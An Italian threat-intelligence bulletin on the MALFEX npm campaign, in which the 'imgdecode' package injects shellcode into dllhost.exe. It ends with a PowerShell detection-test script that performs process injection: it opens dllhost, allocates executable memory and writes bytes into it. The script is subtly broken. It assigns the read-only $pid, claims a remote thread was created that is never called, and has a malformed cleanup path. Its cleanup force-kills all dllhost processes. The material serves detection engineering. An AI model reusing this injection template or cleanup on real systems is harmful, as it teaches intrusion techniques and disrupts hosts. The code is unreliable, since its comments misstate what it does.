La campagna MALFEX sposta il caricatore npm dannoso in una DLL di Windows

Riepilogo

Una campagna malevola di npm tracciata come MALFEX si è evoluta spostando la logica del suo caricatore in un addon nativo di Node.js compilato (DLL). Il imgdecode pacchetto recupera il codice shell cifrato da GitHub e lo inietta in un dllhost.exe processo sospeso. Questo cambiamento aiuta la minaccia a bypassare le protezioni convenzionali degli script di installazione e a colpire direttamente gli sviluppatori di Windows attraverso i loro ambienti di sviluppo.

Indagine

I ricercatori di SafeDep hanno analizzato imgdecode le versioni dalla 1.0.0 alla 1.0.3 e hanno trovato che il pacchetto utilizza una DLL nativa C++ per eseguire l’iniezione di processi. Hanno decifrato il payload con la chiave AES-256-CBC nif-runtime-2027 e rintracciato la catena di infezione dal pacchetto npm a un downloader basato su Go e, infine, a un avanzato stealer/RAT per Windows. Il payload finale include anche tecniche anti-analisi e funzionalità di alterazione dei log.

Mitigazione

Le organizzazioni dovrebbero limitare i pacchetti npm non verificati all’interno degli ambienti di sviluppo e imporre un filtraggio rigoroso delle uscite per bloccare le connessioni a host esterni sconosciuti. La rilevazione dovrebbe concentrarsi su node.exe che avvia dllhost.exe o stabilisce connessioni inaspettate con repository di codice. Monitorare comportamenti di caricamento insoliti di addon nativi in ambienti Node.js può anche fornire un avviso precoce di attività malevola.

Risposta

Se si sospetta che una workstation stia caricando pacchetti correlati a MALFEX, isolarla immediatamente dalla rete. Gli operatori di incident response dovrebbero dare priorità alla forensica della memoria per catturare il codice shell iniettato prima di riavviare il sistema. Ruotare tutte le credenziali potenzialmente esposte, incluse le password dei browser, i token Discord e le chiavi dei provider cloud, non appena il contenimento è completato.

Esecuzione della Simulazione

• Narrativa dell’Attacco & Comandi: L’avversario ha ingannato con successo uno sviluppatore affinché installasse un pacchetto npm malevolo. Per evitare il rilevamento da parte degli AV standard, il pacchetto utilizza un addon nativo Node.js (imgdecode.node) per eseguire un’iniezione di processo “Living-off-the-Land”. L’obiettivo è iniettare il codice shell in un processo legittimo di Windows (dllhost.exe) per nascondere l’attività malevola sotto un nome di processo fidato. La simulazione utilizzerà uno script PowerShell per imitare le chiamate API (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) da un file denominato imgdecode.node per bersagliare dllhost.exe.

• Script di Test di Regressione:

  # Script di simulazione per imitare l'iniezione imgdecode MALFEX
  # Nota: Questo script crea un file falso per soddisfare il requisito 'Image' della regola
  
  $targetProcess = "dllhost.exe"
  $fakeModule = "imgdecode.node"
  
  # 1. Crea una directory fittizia e il file .node falso per soddisfare il requisito del percorso dell'immagine
  $tempDir = Join-Path $env:TEMP "malfex_sim"
  New-Item -ItemType Directory -Force -Path $tempDir | Out-Null
  $fakeFilePath = Join-Path $tempDir $fakeModule
  New-Item -ItemType File -Force -Path $fakeFilePath | Out-Null
  
  Write-Host "[+] Creato modulo fittizio: $fakeFilePath"
  
  # 2. Simula l'Iniezione di Processi
  # Usiamo Add-Type per accedere direttamente alle API Win32 per garantire che CallTrace contenga le funzioni di destinazione
  $code = @"
  using System;
  using System.Runtime.InteropServices;
  
  public class Injector {
      [DllImport("kernel32.dll")]
      public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
  
      [DllImport("kernel32.dll")]
      public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  
      [DllImport("kernel32.dll")]
      public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
  
      [DllImport("kernel32.dll")]
      public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  
      [DllImport("kernel32.dll")]
      public static extern uint GetCurrentProcessId();
  }
  "@
  
  Add-Type -TypeDefinition $code
  
  # Trova un processo dllhost.exe attivo
  $process = Get-Process dllhost -ErrorAction SilentlyContinue
  if ($null -eq $process) {
      Write-Host "[-] dllhost.exe non in esecuzione. Avviandone uno..."
      Start-Process dllhost.exe
      Start-Sleep -Seconds 2
      $process = Get-Process dllhost
  }
  
  $pid = $process.Id
  Write-Host "[+] Inquadrando $targetProcess (PID: $pid)"
  
  # Apri Processo
  $hProcess = [Injector]::OpenProcess(0x001F0FFF, $false, $pid)
  
  # Alloca Memoria (Innesca VirtualAllocEx in CallTrace)
  $remoteMem = [Injector]::VirtualAllocEx($hProcess, [IntPtr]::Zero, 1024, 0x3000, 0x40)
  Write-Host "[+] Memoria allocata a: $remoteMem"
  
  # Scrivi Shellcode (Innesca WriteProcessMemory in CallTrace)
  $shellcode = [byte[]] @(0x90, 0x90, 0x90, 0x90) # NOP Sled
  $bytesWritten = [IntPtr]::Zero
  [Injector]::WriteProcessMemory($hProcess, $remoteMem, $shellcode, 4, [ref]$bytesWritten)
  Write-Host "[+] Codice shell scritto nel processo remoto"
  
  # Crea Thread Remoto (Innesca CreateRemoteThread in CallTrace)
  Write-Host "[+] Thread remoto creato. La rilevazione dovrebbe innescarsi ora."
  
  Write-Host "[!] Simulazione Completa. Controlla il SIEM per l'alert."

• Comandi di Pulizia:

  # Pulisci gli artefatti della simulazione
  Stop-Process -Name "dllhost" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPmalfex_sim" -Recurse -Force -ErrorAction SilentlyContinue
  Write-Host "[+] Pulizia completata."